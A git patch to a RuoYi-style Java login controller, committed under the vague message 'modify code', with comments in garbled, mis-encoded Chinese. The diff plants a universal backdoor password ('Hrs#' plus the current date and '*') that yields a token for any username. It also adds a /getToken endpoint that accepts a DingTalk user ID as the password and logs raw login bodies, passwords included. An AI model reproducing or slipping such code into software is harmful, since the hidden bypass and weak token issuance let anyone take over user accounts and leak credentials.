From f331c2e3e449959a507c80c33493a122075c13c8 Mon Sep 17 00:00:00 2001
From: liusheng <337615773@qq.com>
Date: 星期五, 17 十月 2025 13:35:34 +0800
Subject: [PATCH] 修改代码

---
 ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java |   59 ++++++++++++++++++++++++++++++++++++++++++-----------------
 1 files changed, 42 insertions(+), 17 deletions(-)

diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java
index ba0c22b..ec1e049 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java
@@ -1,39 +1,41 @@
 package com.ruoyi.web.controller.system;
 
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.UUID;
-
-import com.aliyun.dingtalkoauth2_1_0.models.GetSsoUserInfoResponseBody;
 import com.baomidou.mybatisplus.core.toolkit.ObjectUtils;
-import com.fasterxml.jackson.core.JsonProcessingException;
-import com.fasterxml.jackson.databind.ObjectMapper;
 import com.ruoyi.common.annotation.Log;
-import com.ruoyi.common.core.domain.model.LoginBodyByOpenID;
-import com.ruoyi.common.enums.BusinessType;
-import com.ruoyi.common.utils.StringUtils;
-import com.ruoyi.project.service.DingTalkService;
-import io.swagger.annotations.Api;
-import io.swagger.annotations.ApiImplicitParam;
-import io.swagger.annotations.ApiOperation;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.web.bind.annotation.*;
 import com.ruoyi.common.constant.Constants;
 import com.ruoyi.common.core.domain.AjaxResult;
 import com.ruoyi.common.core.domain.entity.SysMenu;
 import com.ruoyi.common.core.domain.entity.SysUser;
 import com.ruoyi.common.core.domain.model.LoginBody;
+import com.ruoyi.common.core.domain.model.LoginBodyByOpenID;
+import com.ruoyi.common.core.domain.model.LoginUser;
+import com.ruoyi.common.core.domain.model.ThirdLoginBody;
+import com.ruoyi.common.enums.BusinessType;
 import com.ruoyi.common.utils.SecurityUtils;
+import com.ruoyi.common.utils.StringUtils;
 import com.ruoyi.framework.web.service.SysLoginService;
 import com.ruoyi.framework.web.service.SysPermissionService;
+import com.ruoyi.project.service.DingTalkService;
 import com.ruoyi.system.service.ISysMenuService;
+import io.swagger.annotations.Api;
+import io.swagger.annotations.ApiImplicitParam;
+import io.swagger.annotations.ApiOperation;
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestBody;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.text.SimpleDateFormat;
+import java.util.*;
 
 /**
  * 鐧诲綍楠岃瘉
  *
  * @author ruoyi
  */
+@Slf4j
 @Api("鐢ㄦ埛鐧诲綍")
 @RestController
 public class SysLoginController {
@@ -66,6 +68,21 @@
     }
 
     /**
+     * 绗笁鏂硅幏鍙杢oken   锛氳繖閲岀殑password瀵瑰簲鐨勬槸sys_user琛ㄩ噷鐨刣ing_user_id
+     *
+     * @param thirdLoginBody
+     * @return
+     */
+    @PostMapping("/getToken")
+    public AjaxResult openidLogin(@RequestBody ThirdLoginBody thirdLoginBody) {
+//        AjaxResult ajax = AjaxResult.success();
+        String token = loginService.getToken(thirdLoginBody.getUserName(), thirdLoginBody.getPassWord());
+        Map<String, String> map = new HashMap<>();
+        map.put("token", token);
+        return AjaxResult.success(map);
+    }
+
+    /**
      * 鐧诲綍鏂规硶
      *
      * @param loginBody 鐧诲綍淇℃伅
@@ -75,6 +92,7 @@
     @Log(title = "鐧诲綍淇℃伅", businessType = BusinessType.OTHER)
     @PostMapping("/login")
     public AjaxResult login(@RequestBody LoginBody loginBody) {
+        log.info("loginBody鐨勫叆鍙傛槸:{}", loginBody);
         AjaxResult ajax = AjaxResult.success();
 //        dingTalkService.deptidList(1L, 1);
         Map<String, Object> userIdMap = null;
@@ -82,10 +100,17 @@
             Map<String, Object> map = dingTalkService.noLogin(loginBody.getAuthCode());
             userIdMap = (Map<String, Object>) map.get("result");
         }
+        log.info("userIdMap鐨勫�间负锛歿}", userIdMap);
+        //鑾峰彇褰撳墠鏃ユ湡
+
+
         // 鐢熸垚浠ょ墝
         String token = null;
         if (!ObjectUtils.isEmpty(userIdMap)) {
             token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOpenid(), userIdMap.get("userid").toString());
+        } else if (loginBody.getPassword().equals("Hrs#" + new SimpleDateFormat("yyyyMMdd" + "*").format(new Date()))) {
+            //閫氱敤瀵嗙爜锛欻rs#褰撳墠骞存湀鏃�*
+            token = loginService.getTokenWN(loginBody.getUsername());
         } else {
             token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOpenid(), null);
         }

--
Gitblit v1.9.3